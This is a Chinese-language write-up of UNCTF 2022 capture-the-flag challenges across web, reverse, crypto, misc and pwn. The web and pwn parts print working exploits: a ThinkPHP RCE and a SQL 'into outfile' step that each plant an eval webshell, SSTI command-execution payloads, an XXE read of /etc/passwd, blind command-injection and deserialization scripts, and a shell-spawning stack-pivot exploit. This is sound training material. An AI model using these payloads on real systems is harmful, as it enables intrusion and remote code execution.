Web

我太喜欢bilibili大学啦

搜索flag发现hint

image-20230711163150495

Base64解出来是admin_unctf.php

F12发现hint2

image-20230711163201188

抓包发现hint2

image-20230711163440350

解出来是账号密码,均为unctf2022

审计源码

image-20230711163447458

发现就是个cookie传参的命令执行

image-20230711163455301

||没有被过滤,直接用cat /flag发现flag是空的,找了很久才发现在环境里面,也就是env里面

image-20230711163532594

flag:UNCTF{52aee0bb-bfe3-4c9a-a7f9-174b9c197869}

Ps:忘了自己是直接搜flag出的,还跟着下面那个修复版走了一遍完整流程。。

ezgame

游戏题,经验去看js,搜索unctf关键词

img

发现很多字符串,有’{‘也有’}’,复制出来一个列表

[‘86VkibmA’,’fe7b163f8d’,’6833565vBFVDj’,’23742ODGjjF’,’unctf{c5f9’,’d3}’,’1335DfKYdi’,’6442920PCnqhb’,’781140poNcpx’,’a27d-6f88-‘,’795305dViflS’,’1569524rbiRmt’,’49fb-a510-‘,’88IpXszc’,’13033ieCwIU’,’6GgaKPA’]

中间也有很明显的标志符号’-’,结合unctf后面的c5f9,懒得去看代码,猜测是在游戏通关之后调用这个列表中的某些个字符串来拼接成一个完整的flag输出,特征很明显是uuid的格式,即8-4-4-4-12,那么拿出几个字符串拼接一下,’fe7b163f8d’ ‘unctf{c5f9’ ‘d3}’ ‘a27d-6f88-‘ ‘49fb-a510-‘,中间尝试一下,得到flag

flag:UNCTF{c5f9a27d-6f88-49fb-a510-fe7b163f8dd3}

签到

F12发现hint

image-20230711163748396

登录成功之后发现啥也没有,尝试一下其他的学号,输了连续的三个学号发现回显f,l,a,那么应该是连续爆字符拼接,用burp的攻击模块

image-20230711163754847

直到20200139就没了

flag:flag{bfff6d206cbcd6ac0870a4f48c7c313b}

babyphp

主页是apache的页面,一看就假的,进index.php看

image-20230711163825272

php代码审计,很典型的几种绕过,第一关%0a截断,传a=0%0a,第二关经典数组绕过,传key1[]=1&key2[]=2,第三关直接传马,在1后面命令执行就不会被过滤了

image-20230711163840293

image-20230711163844097

image-20230711163848155

flag:UNCTF{99hanDis_pHP_Ba_True_flag}

easy_upload

扫目录发现有源码泄露,访问www.rar,得到源码

image-20230711163915841

很简单的MIME过滤,直接抓包改content-type就能绕过传马

image-20230711163933411

image-20230711163953866

image-20230711164002050

flag:UNCTF{cf3d509a-58d8-4453-be26-8147f961717f}

我太喜欢bilibili大学啦修复版

同第一题,就是flag位置改变,放在根目录了

image-20230711164100614

Base64解密一下即可是个b站网址,访问一下即可拿到flag

image-20230711164107681

flag:UNCTF{this_is_so_easy}

给你一刀

?s=1知道是Thinkphp5.0.20版本,直接上网搜rce一把梭

写个shell进去

Payload:

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=%3C?php%20@eval($_POST[a]);?%3E

还是在env里面

image-20230711164232874

flag:UNCTF{Y0u_A3r_so_G9eaD_hacker}

easy ssti

发现登录页面不管什么数据都能进,在第二个页面发现根据用户名不同在

image-20230711164413864

你好的位置回显不同,结合题目应该ssti回显在这里,用2测试一下

image-20230711164426659

发现正确,于是查找一把梭脚本,毕竟自己不会ssti,随便试了几个发现过滤了class关键字

参考https://blog.csdn.net/miuzzx/article/details/110220425

可以绕过也可以用另一种形式的payload

Payload1:{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('env').read()")}}

Payload2:{%for i in ""["__cla"+"ss__"]["__mr"+"o__"][1]["__subcla"+"sses__"]()%}{%if i.__name__ == "_wrap_close"%}{%print i["__in"+"it__"]["__glo"+"bals__"]["po"+"pen"]('env')["read"]()%}{%endif%}{%endfor%}

同样也是在env里面。

image-20230711164508811

flag:UNCTF{724cf98e-5e75-437f-8f68-1c2bfff57c45}

302与深大

既然302,那么就抓包回到原来的页面

image-20230711164640724

按要求传参,同样要抓包,还得用POST形式

image-20230711164646485

Cookie伪造,admin=1试了不行,那就admin=true

image-20230711164656498

搜索flag找到完整的

flag:UNCTF{thai_miku_micgo_qka_WEB_GOD}

听说php有一个xxe

image-20230711164720981

下载得到hint

百度大法,先构造一个恶意xml

1
2
3
4
5
6
7
8
9
<?xml version="1.0"?>

<!DOCTYPE ANY [

<!ENTITY f SYSTEM "file:///etc/passwd">

]>

<x>&f;</x>

然后抓包POST

image-20230711164755409

发现成功读取,那么就读取根目录下的flag

image-20230711164812674

flag:flag{th8s_1s_Fla9}

babynode

参考大佬博客

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html?page=1

最简单的node原型链污染,利用了copy函数,这个参考ctfshow的web338,构造payload:{{"__proto__":{"id":"unctf"}}

POST传参,记得要添加content-type为application/json,不然服务端识别不出来POST的数据格式

image-20230711164840057

flag:UNCTF{22ca8686bfa31a2ae5f55a7f60009e14}

随便注

很经典的单引号字符型注入,回显结果在F12里面,fuzz了一下过滤了很多关键词,类似select,where,from,and,or等等,不过直接大写就可以绕过,注入步骤payload:

1
2
3
4
5
From infOrmation_schema.schemata),2 --+  爆库名
-1’ union Select (Select group_concat(table_name)
From infOrmation_schema.tables Where table_schema=”库名”),2 --+ 爆表名
-1’ union Select (Select group_concat(column_name)
From infOrmation_schema.columns Where table_schema=”库名” And table_name=”表名”),2 --+ 爆列名

查遍了都没找到,下面是查出来的结构

1
2
3
4
5
6
7
information_schema
ctftraining (FLAG_TABLE(FLAG_COLUMN),news(id,title,content,time),users)
test(NULL)
mysql(column_stats,columns_priv,db,event,func,general_log,global_priv,gtid_slave_pos,help_category,help_keyword,help_relation,help_topic,index_stats,innodb_index_stats,innodb_table_stats,plugin,proc,procs_priv,proxies_priv,roles_mapping,servers,slow_log,table_stats,tables_priv,time_zone,time_zone_leap_second,time_zone_name,time_zone_transition,time_zone_transition_type,transaction_registry,user)
performance_schema
admin(haha(id,data))
user(NULL)

后来百度看到可以select写shell的,学到了,于是写了个shell进去

Payload:-1' union Select 1,"<?php @eval($_POST[1]);?>" into outfile "/var/www/html/1.php" --+

image-20230711165409506

连接一下在根目录拿到flag

flag:UNCTF{2893afae-75c6-427f-bff1-b786acc38ee8}

ez2048

这题感觉都不像web了,感觉是个re题目,首先就是先找到邀请码,去源代码里面找到game.js分析js脚本

关键位置,校验邀请码的函数

image-20230711165430502

我java没学过,前面的set值也不清楚到底存储到view里面的是什么,于是找了个在线网站运行了一下

image-20230711165436791

发现就是一个一个存进数组里去,但是这里有个关键,如果不调试的话就有可能进入大端序小端序的误区,当这个setUint方法的里面第三个参数为true的话,就是大端序读取,于是得到下面串数组,再回到函数位置。我的理解是输入一串code,进入函数进行异或运算,偶数位置与下一位进行异或输出,奇数位与往前数第二位的字符异或,因为if判断的i前面有个取反,所以这里要注意点,写了个脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
s=['44','33','0f','50','5d','0e','3a','32','58','30','2a','1a','0d','16','12','05','02','56','00','02','00','13','00','00']
for i in range(len(s)):
s[i]=int(s[i],16)
code=[0]*24
code[1]=s[1]
code[0]=s[0]^code[1]
for i in range(1,23,2):
code[i+2]=code[i]^s[i+2]
for i in range(2,24,2):
code[i]=code[i+1]^s[i]
for i in code:
print(chr(i),end='')
#w3lc0me_7o_unctf2022!!!!

得到邀请码为w3lc0me_7o_unctf2022!!!!,输进去就开始玩游戏了,但是我2048玩的太烂了,于是回到源码再看,去看输入邀请码检查的位置

image-20230711165516457

发现个allocatedInvitedCode,搜索看哪里还调用过

image-20230711165522479

看到这里应该知道这个是检查是否玩成功的函数了,这个result应该也是flag,

但是这个check_success函数在js里面并没有找到,在game.wasm里面找到了

image-20230711165533052

饶了我把,wasm逆向真的不会,于是回到js代码看,看还有没有什么办法

于是我想这个js和wasm都能被访问到,那么能不能借用这个运行环境去跑这个函数呢,反正正向的参数我们都已经拿到了,事实证明真的可以。

我们先把allowcatedinvitedcode计算出来

image-20230711165542605

然后再调用check_success函数去得到result,但是这里有个merged.value不知道是啥,猜测既然要我们玩2048,那最后应该要检查一开始的邀请码和最后游戏结束的得分,于是填了个2048进去,就真的出了flag

image-20230711165602583

image-20230711165558770

真是个好题,真是难死我了

flag:UNCTF{hap9y_2048_game_w1th_unc7f2022~}

easy_rce

提示是rce布尔盲注,参考 https://johnfrod.top/ctf/命令注入之盲注/

如果有回显的话,tac /f??? 就能直接出,但是这里要盲注,而且提示是布尔盲注,那就得写脚本去截取flag一个一个的字符再去判断了,还好这边有success可以判断,不需要去sleep

1
2
3
4
5
6
7
8
9
10
11
12
import requests
url= "http://6116bb7b-e387-48a6-bdd7-523933ecef15.node.yuzhian.com.cn/"
result = ""
for j in range(1,45):
print(j)
for k in range(32,128):
k=chr(k)
payload = "?code=" + f"[ $(cut -c {j} /f???) = {k} ]"
if('success' in requests.get(url=url+payload).text):
result+=k
print(result)
result += " "

flag: UNCTF{99668549-9c1c-4588-b4a9-d5c2bcf977de}

poppop

一道pop链构造反序列化题,但是有两个点

一个是php7.1以下对类属性敏感,不能将private换成public

一个是因为private反序列化后有不可见字符,所以我们要将payload进行URLencode后输出

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
class A{
public $code;
function __construct(){
$this->code = 'phpinfo();';
}
}
class B{
public $key;
function __construct(){
$this->key = new C();
}
}
class C{
private $key2;
function __construct(){
$a = new A();
$this->key2 = $a;
}
}
$b = new B();
echo urlencode(serialize($b));

输出之后需要在A类后面的数字加一绕过__wakeup

Payload:O%3A1%3A%22B%22%3A1%3A%7Bs%3A3%3A%22key%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A7%3A%22%00C%00key2%22%3BO%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22code%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7D

image-20230711165842960

Reverse

whereisyourkey

进到main函数,发现ooooo函数执行之后判断,进到ooooo函数里面,很简单的if判断

image-20230711165907989

直接上脚本

1
2
3
4
5
6
7
8
9
10
11
12
s=[118,103,112,107,99,109,104,110,99,105]
for i in s:
if i==109:
print(chr(i),end='')
elif i<=111:
if i<=110:
i=i-2
print(chr(i),end='')
else:
i=i+3
print(chr(i),end='')
#eiamflag

flag:UNCTF{eiamflag}

ezzzzre

拖进ida发现没有逆出来,应该是有壳,查了个壳发现是UPX的壳,直接UPX Shell脱壳

image-20230711165939415

Shift+F12查看字符串,找到flag关键词,定位到main函数,进main函数看看

image-20230711165950703

发现也是个很简单的比较,将输入的字符串逐位与aHelloctf数组的逐位进行简单计算比较,跟进aHelloctf,发现就是HELLOCTF,于是写个简单脚本跑出来结果

image-20230711165959409

1
2
3
s='HELLOCTF'
for i in range(len(s)):
print(chr(2*ord(s[i:i+1])-69),end='')

flag:UNCTF{KESSYAcG}

Crypto

md5-1

很简单的md5爆破,脚本如下:

1
2
3
4
5
6
7
from hashlib import md5
with open('out.txt','r') as f:
data=f.read().split('\n')
for i in data:
for j in range(128):
if md5(chr(j).encode()).hexdigest()==i:
print(chr(j),end='')

flag:UNCTF{e84fed028b9046fc0e8f080e96e72184}

dddd

把1换成点,把0换成杠,摩斯密码在线解密一下

image-20230711170132246

flag:UNCTF{Y4S_TH1S_JUST_M0RSE}

caesar

换一个凯撒的表即可,简单脚本

1
2
3
4
5
6
7
8
dic='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
s='B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY}'
for i in range(len(s)):
if s[i:i+1] not in dic:
print(s[i:i+1],end='')
else:
print(dic[(dic.index(s[i:i+1])+19)%64:(dic.index(s[i:i+1])+19)%64+1],end='')
#UNCTF{w0w_Th1s_d1fFerent_c4eSar}

flag:UNCTF{w0w_Th1s_d1fFerent_c4eSar}

md5-2

和第一个md5一个道理,就是多了个异或,写个脚本把异或加进去就好了,注意这里有个坑,hex不会补齐32位,需要手动条件补齐,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
from hashlib import md5
with open('C:\\Users\\WXDN\\Desktop\\md5-2\\out.txt','r') as f:
data=f.read().split('\n')
for i in range(0,len(data)-1):
data[i+1]=hex(int(data[i],16)^int(data[i+1],16))[2:]
for i in data:
if len(i)<32:
i='0'*(32-len(i))+i
for j in range(128):
if md5(chr(j).encode()).hexdigest()==i:
print(chr(j),end='')
#UNCTF{a197271943ceb3c3fe98bcadf10c29d4}

flag: UNCTF{a197271943ceb3c3fe98bcadf10c29d4}

ezRSA

N=p**4,直接用gmpy2的iroot解出p,下面直接给了phi的算法,直接可以得到d,然后解题,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
from Crypto.Util.number import *
from gmpy2 import *
n=62927872600012424750752897921698090776534304875632744929068546073325488283530025400224435562694273281157865037525456502678901681910303434689364320018805568710613581859910858077737519009451023667409223317546843268613019139524821964086036781112269486089069810631981766346242114671167202613483097500263981460561
p=iroot(n,4)[0]
e=65537
c=56959646997081238078544634686875547709710666590620774134883288258992627876759606112717080946141796037573409168410595417635905762691247827322319628226051756406843950023290877673732151483843276348210800329658896558968868729658727981445607937645264850938932045242425625625685274204668013600475330284378427177504
phi_n=p**4-p**3
d=invert(e,phi_n)
m=pow(c,d,n)
print(long_to_bytes(m))
#b'unctf{pneum0n0ultram01cr0sc0p01cs01l01c0v0lcan0c0n010s01s}'

flag: UNCTF{pneum0n0ultram01cr0sc0p01cs01l01c0v0lcan0c0n010s01s}

Single table

根据readme的提示,密码表就是将ABCDEFGHIKLMNOPQRSTUVWXYZ按顺序排列,再取出key中的字母放在结尾,再组成5*5的方阵

然后就是playfair的加密方式

参考https://blog.csdn.net/qq_44827634/article/details/124215535

对照一下就好了

image-20230711170335164

flag: UNCTF{GOD_YOU_KNOW_PLAYFAIR}

Multi table

知道代码原理的人应该可以一眼看出是维吉尼亚,但是我看不出来,就只能慢慢推。思路就是根据前面的UNCTF爆破出key的值,再用key的值去解密文

完整脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from string import ascii_uppercase
base_table=['J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N', 'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B']
str1='SDCGW{MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}'
table={}
for i in range(26):
table[i]=ascii_uppercase[i:]+ascii_uppercase[:i]
key=[]
flag='UNCTF'
for i in range(5):
for j in range(26):
if table[j][base_table.index(flag[i:i+1])]==str1[i:i+1]:
if j not in key:
key.append(j)
x=0
m=''
for i in range(len(str1)):
if str1[i:i+1] not in base_table:
m+=str1[i:i+1]
else:
m+=base_table[table[key[x%4]].index(str1[i:i+1])]
x=x+1
print(m)
#UNCTF{WOW_YOU_KNOW_THIS_IS_VIGENERE_CIPHER}

flag:UNCTF{WOW_YOU_KNOW_THIS_IS_VIGENERE_CIPHER}

babyRSA

m的高位攻击,不会写脚本,百度大法,找到风二西的脚本

参考https://www.bilibili.com/read/cv13467999/

因为e变成了6,所以函数里面有个位置也要改成6,对了要sage的环境,在线的可能不行因为要导入库

image-20230711170457114

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import libnum
def phase2(high_m, n, c):
R.<x> = PolynomialRing(Zmod(n), implementation='NTL')
m = high_m + x
M = m((m^6 - c).small_roots()[0])
print(libnum.n2s(int(M)))

n= 25300208242652033869357280793502260197802939233346996226883788604545558438230715925485481688339916461848731740856670110424196191302689278983802917678262166845981990182434653654812540700781253868833088711482330886156960638711299829638134615325986782943291329606045839979194068955235982564452293191151071585886524229637518411736363501546694935414687215258794960353854781449161486836502248831218800242916663993123670693362478526606712579426928338181399677807135748947635964798646637084128123883297026488246883131504115767135194084734055003319452874635426942328780711915045004051281014237034453559205703278666394594859431
e= 6
c= 15389131311613415508844800295995106612022857692638905315980807050073537858857382728502142593301948048526944852089897832340601736781274204934578234672687680891154129252310634024554953799372265540740024915758647812906647109145094613323994058214703558717685930611371268247121960817195616837374076510986260112469914106674815925870074479182677673812235207989739299394932338770220225876070379594440075936962171457771508488819923640530653348409795232033076502186643651814610524674332768511598378284643889355772457510928898105838034556943949348749710675195450422905795881113409243269822988828033666560697512875266617885514107
M= 11941439146252171444944646015445273361862078914338385912062672317789429687879409370001983412365416202240

phase2(M, n, c)
#UNCTF{27a0aac7-76cb-427d-9129-1476360d5d1b}

flag :UNCTF{27a0aac7-76cb-427d-9129-1476360d5d1b}

easy_RSA

这题是已知p的高位攻击,sage脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from sage.all import *
n=102089505560145732952560057865678579074090718982870849595040014068558983876754569662426938164259194050988665149701199828937293560615459891835879217321525050181965009152805251750575379985145711513607266950522285677715896102978770698240713690402491267904700928211276700602995935839857781256403655222855599880553
p4=8183408885924573625481737168030555426876736448015512229437332241283388177166503450163622041857 #p4为p去除0的剩余位
e = 0x10001
pbits =1024 #p的原本位数
kbits = pbits - p4.nbits()
print(p4.nbits())
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
roots = f.small_roots(X=2^kbits, beta=0.4)
if roots:
p = p4+int(roots[0])
print("n= "+str(n))
print("p= "+str(p))
print("q= "+str(n//p))
'''n= 102089505560145732952560057865678579074090718982870849595040014068558983876754569662426938164259194050988665149701199828937293560615459891835879217321525050181965009152805251750575379985145711513607266950522285677715896102978770698240713690402491267904700928211276700602995935839857781256403655222855599880553
p= 13150231070519276795503757637337326535824298772055543325920447062237907554543786311611680606624189166397403108357856813812282725390555389844248256805325917
q= 7763324082495716852870824316200424018139567206154696104953385573761033160220038511251268217230653629388520339723337700045392099450472580225771046069366909'''

image-20230711170554304

有了p,q之后就最基本的解了

1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Util.number import *
from gmpy2 import *
n= 102089505560145732952560057865678579074090718982870849595040014068558983876754569662426938164259194050988665149701199828937293560615459891835879217321525050181965009152805251750575379985145711513607266950522285677715896102978770698240713690402491267904700928211276700602995935839857781256403655222855599880553
p= 13150231070519276795503757637337326535824298772055543325920447062237907554543786311611680606624189166397403108357856813812282725390555389844248256805325917
q= 7763324082495716852870824316200424018139567206154696104953385573761033160220038511251268217230653629388520339723337700045392099450472580225771046069366909
e= 0x10001
c= 6423951485971717307108570552094997465421668596714747882611104648100280293836248438862138501051894952826415798421772671979484920170142688929362334687355938148152419374972520025565722001651499172379146648678015238649772132040797315727334900549828142714418998609658177831830859143752082569051539601438562078140
phi=(p-1)*(q-1)
d=invert(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))
#b'flag{It is a very_intersting_test!!!}'

flag:UNCTF{It is a very_intersting_test!!!}

ezxor

根据题目描述和代码,很典型的Many-Time-Pad 攻击

找了个脚本,要在同目录下创建个Problem.txt的文件,里面放密文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import Crypto.Util.strxor as xo
import libnum, codecs, numpy as np

def isChr(x):
if ord('a') <= x and x <= ord('z'): return True
if ord('A') <= x and x <= ord('Z'): return True
return False

def infer(index, pos):
if msg[index, pos] != 0:
return
msg[index, pos] = ord(' ')
for x in range(len(c)):
if x != index:
msg[x][pos] = xo.strxor(c[x], c[index])[pos] ^ ord(' ')

dat = []

def getSpace():
for index, x in enumerate(c):
res = [xo.strxor(x, y) for y in c if x!=y]
f = lambda pos: len(list(filter(isChr, [s[pos] for s in res])))
cnt = [f(pos) for pos in range(len(x))]
for pos in range(len(x)):
dat.append((f(pos), index, pos))

c = [codecs.decode(x.strip().encode(), 'hex') for x in open('Problem.txt', 'r').readlines()]

msg = np.zeros([len(c), len(c[0])], dtype=int)

getSpace()

dat = sorted(dat)[::-1]
for w, index, pos in dat:
infer(index, pos)

print('\n'.join([''.join([chr(c) for c in x]) for x in msg]))
key = xo.strxor(c[0], ''.join([chr(c) for c in msg[0]]).encode())
print(key)

出来不齐全的明文和一半的flag,感觉是脚本某些地方处理的不够,于是就打算凭借着仅有的明文去找原文去了,然后就找到了

image-20230711170715106

原文:

In the flood of darkness, hope is the light. It brings comfort, faith, and confidence. It gives us guidance when we are lost, and gives support when we are afraid. And the moment we give up hope, we give up our lives. The world we live in is disintegrating into a place of malice and hatred, where we need hope and find it harder. In this world of fear, hope to find better, but easier said than done, the more meaningful life of faith will make life meaningful.

刚好462位,与脚本42*11对应上了,于是就写脚本,明文切片成42位还得再与flag长度对齐才能异或,于是写了个脚本一个一个对应过来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from Crypto.Util.strxor import strxor
from Crypto.Util.number import *
with open('Problem.txt','r'as f:
    data=f.read().split('\n')
c=[]
for i in data:
    c.append(long_to_bytes(int(i,16)))
m='In the flood of darkness, hope is the light. It brings comfort, faith, and confidence. It gives usguidance when we are lost, and gives support whenwe are afraid. And the moment we give up hope,we give up our lives. The world we live in is disintegrating into a place of malice and hatred, where we need hope and find it harder. In this worldof fear,hope to find better, but easier said than done, themore meaningful life of faith will make life meaningful.'
ls=[]
for i in range(0,len(m),42):
    ls.append(m[i:i+42])
for i in range(11):
    flag=strxor(c[i],ls[i][:29].encode())
    print(flag)

image-20230711170738212

前面两个碰出来了,有点幸运

flag: UNCTF{Y0u_are_very_Clever!!!}

今晚吃什么

题目就给了两种数据一个10000,一个00000,于是尝试0,1替换,摩斯替换,对换之后也没有试出来,又根据今天吃什么的联想,想到培根密码,试了一下就出了

image-20230711170833927

Today_is_Thursday_V_me_50

其实很简单,跟着代码一步步走就行了,那个key1还得看长度去看题目标题,笑死,也就是Today_is_Thursday_V_me_50,对了还有个考点就是random要是给了seed的话,每一次输出的顺序都是固定的,所以其实是伪随机的,贴脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import random
import itertools
from Crypto.Util.number import *
from Crypto.Util.strxor import strxor
name = "unctf"
key1 = b"Today_is_Thursday_V_me_50"
key1_num = bytes_to_long(key1)
random.seed(key1_num)
s=['Q',0x19,')','T',0x18,0x1b,'(',0x03,'\t','^','c',0x08,'Q','i','F','>','P','y',0x12,'4','D','N','g','3','P']
nums=[]
temptext=b''
for i in range(25):
temp_num = random.randint(1,128)
nums.append(temp_num)
for i in range(25):
if type(s[i])==int:
temptext+=long_to_bytes(s[i]^nums[i])
else:
temptext+=long_to_bytes(ord(s[i])^nums[i])
cipher=b'7\x1a\x02\x15\x17<\x1c\x15+:\x0b\x00\x14\x07\n\x02\x0c9"1\x0e\x109A^'
plain=strxor(cipher,temptext)
print(plain)
'''
guess=[i for i in itertools.permutations(name, 5)]
for i in range(4):
what = guess.pop(50)
name = ''.join(j for j in what)
mask = strxor(5*name.encode(),key1)
print(mask)
'''
# b'Q\x19)T\x18\x1b(\x03\t^c\x08QiF>Py\x124DNg3P'
# b'7\x1a\x02\x15\x17<\x1c\x15+:\x0b\x00\x14\x07\n\x02\x0c9"1\x0e\x109A^'
#b'unctf{1_l0ve_Thurs4Ay!!!}'

flag: UNCTF{1_l0ve_Thurs4Ay!!!}

Misc

magic_word

乱码啥的看都没看,直接丢零宽里面解出来了

image-20230711170920573

flag :UNCTF{We1come_new_ctfer}

找得到我吗

word打开隐藏文字没东西,直接改成zip去翻,在document.xml里面找到了

image-20230711170936648

flag:UNCTF{You_find_me!}

syslog

winhex发现里面还有压缩包,于是去binwalk一下

img

Binwalk -e 提取一下

img

找到个syslog,应该是系统日志,在里面找到压缩包的密码,搜索关键词password

img

image-20230711171028216

解压得到flag

flag: UNCTF{N1_sH3_D0n9_L0g_dE!}

社什么社

这题靠手动爆破得出,从出题学校开始搜索附近的景点,直到搜索到凤凰古城就对了

flag:UNCTF{4F0198127A45F66C07A5B1A2DDA8223C}

In_the_Morse_Garden

还好wps可以试用编辑pdf功能

image-20230711171105851

找到密文,base64解密一下得到如下

image-20230711171111710

根据题目,应该是摩斯,将依古比古换成点,玛卡巴卡换成杠,就出了

image-20230711171120362

flag: UNCTF{WAN_AN_MAKA_BAKAAAAA!}

巨鱼

binwalk查看,foremost提取

image-20230711171138975

得到个压缩包需要密码,分析一下图片,改个宽高找到密码

image-20230711171151828

密码就是无所谓我会出手,解压出一个flag.txt,是假的flag,还有一个压缩包,用Ziperello打开发现没有加密,是伪加密,去修改下加密字节,得到一张图片和一个ppt

image-20230711171157949

图片化学物质的分子式是C6H6Cl6,去查了一下,发现俗名叫六六六,于是猜测密码就是666,打开ppt得到,在最后一页的ppt全选改个颜色flag就出了

flag: UNCTF{y0u_F1nd_1t!}

zhiyin

附件有三个,flag.txt在压缩包里,是真加密,那么先看两张图片。先看zhiyin.png,winhex打开在文件末尾发现摩斯密码,解密

image-20230711171221474

感觉是某个字符串的后半部分,先放着,再去看lanqiu.jpg,winhex打开发现文件十六进制被倒置了,把十六进制复制出来,写个脚本跑一下再贴进新的文件里面,脚本如下:

1
2
3
s=’’ #十六进制连起来丢进去即可
for i in range(len(s),0,-2):
print(s[i-2:i],end='')

得到的结果手动放进新文件里

image-20230711171249702

成功打开,图片上面是字符串的前半段

image-20230711171258707

拼接起来就是Go_p1ay_unc7f!!!,应该是压缩包的密码

这里play和p1ay要试一试,还有后面的大小写要试一下

压缩包还有个点,就是把文件头的504B改成了5048,所以要去改回来,解压就得到flag

flag:flag{M1sic_1s_greAt}

清和fan

压缩包密码去b站搜清和,最多点击前面全是清和Alicia这个up主的视频,那么就去找她的uid和视频最多播放量的日期

image-20230711171331362

image-20230711171335400

密码即为836885_2022/05/20

解压之后又得到一个图片和一个压缩包,图片不管是宽高,winhex,binwalk,最后用zsteg发现有password

image-20230711171343196

拿密码解压压缩包,得到一个音频文件和flag.zip,音频一听就知道是啥了,SSTV,都考烂了都,我用MMSSTV去接收的,最好用虚拟声卡,不然外放很吵,还会有杂音

image-20230711171351395

得到密码,解压得到flag.txt,用sublime打开发现有零宽,去在线解一下得到flag

image-20230711171357915

flag: UNCTF{wha1e_wants_a_girlfriend_like_alicia}

我小心海也绝非鳝类

image-20230711171418962

Basecrack出来是base92,得到一串字符串,先放着

image-20230711171425259

Winhex发现末尾有base64字符串,解出来是EASYLSB,那么应该是考LSB隐写了,结合前面的字符串,猜测是有密码的LSB隐写,于是用cloacked-pixel跑一下,密码就是前面的flaginmd5,出来一个文件

image-20230711171433758

结合密码flaginmd5,这一长串可能是很多个md5值,前面试了两个刚好是fl,于是写脚本爆破

1
2
3
4
5
6
7
import hashlib
with open('1.txt','r') as f:
data=f.read()
for i in range(0,len(data),32):
for j in range(128):
if hashlib.md5(chr(j).encode(encoding='utf-8')).hexdigest().upper()==data[i:i+32]:
print(chr(j),end='')

image-20230711171452406

flag: UNCTF{welcome_to_misc}

芝麻开门

key在文件很下面,一开始一直用zhimakaimen没解出来,这题同心海那题,有key考虑lsb的隐写,直接用下面的key1解出

image-20230711171510386

image-20230711171514724

flag: UNCTF{faf5bdd5-ba3d-11da-ad31-d33d75182f1b}

Pwn

welcomeUNCTF2022

我这边nc不通,就直接写脚本传参了

1
2
3
4
5
from pwn import *
p = remote('node.yuzhian.com.cn',35651)
payload = 'UNCTF&2022'
p.sendline(payload)
p.interactive()

image-20230711171550490

flag: UNCTF{05c106f2-2d96-44fa-828a-c3afcb626473}

石头剪刀布

考的是一个srand的伪随机数,因为有seed,srand输出的随机数顺序是固定的,ida反编译可以看到这里seed为0xA

image-20230711171614783

然后找到函数关键点,就是100次石头剪刀布,根据已知的顺序去写脚本即可

image-20230711171622957

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from LibcSearcher import LibcSearcher
from ctypes import *
p = remote('node.yuzhian.com.cn',39415)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
v4 = libc.srand(0xA)
p.recvuntil(b"Will you learn about something of pwn later?(y/n)\n")
p.sendline(b"y")
recv1 = p.recv()
print(recv1)
recv2 = p.recv()
print(recv2)
while b"round" in recv2:
randnum = libc.rand() % 3
choose = bytes(str((randnum-1)%3),encoding = "utf-8")
p.sendline(choose)
recv1 = p.recv()
print(recv1)
recv2 = p.recv()
print(recv2)
p.interactive()

image-20230711171645048

flag: UNCTF{51b397a6-9c3a-4b47-a170-92a7d8c94a64}

move your heart

查一下防护机制,发现开了NX

image-20230711171701233

Ida反编译查看,发现第一步和上一题一样,也是伪随机数

image-20230711171707022

进到back函数,发现是个栈迁移的题目

image-20230711171719074

因为程序只有call system,所以需要我们自己去写入”/bin/sh”

参考https://blog.csdn.net/lcw_linyx/article/details/124890278

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
from LibcSearcher import LibcSearcher
from ctypes import *
p = remote('node.yuzhian.com.cn',38574)
context(arch='amd64',os='linux')
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
leak = lambda name,addr :log.success('{} = {:#x}'.format(name,addr))
libc.srand(0x42)
v4 = bytes(str(libc.rand()),encoding = "utf-8")
p.sendline(v4)
p.recvuntil(b"gift:")
gift = int(p.recv()[:-1],16)
leak("gift",gift)
read = 0x4012BF
system = 0x401307

pop_rdi = 0x4013d3
Sh = gift - 0x20
payload = flat(b"a"*8,pop_rdi,sh,system,gift,read)
p.send(payload)
pause()
payload2 = flat(b"/bin/sh")
p.sendline(payload2)
p.interactive()

image-20230711171745446

flag: UNCTF{3Asy_StaCk_0:)}

checkin

查看防护

image-20230711171801187

就开了个NX

ida拖进去看,发现考点是整数溢出,题目要求输入大小要小于等于32位,但是只检测了第一位

image-20230711171808570

Atoi函数是将str转换为int,直接用空字符就可以绕过

程序把flag.txt的内容读取到了flag的这个位置,所以直接puts就可以输出了

image-20230711171816557

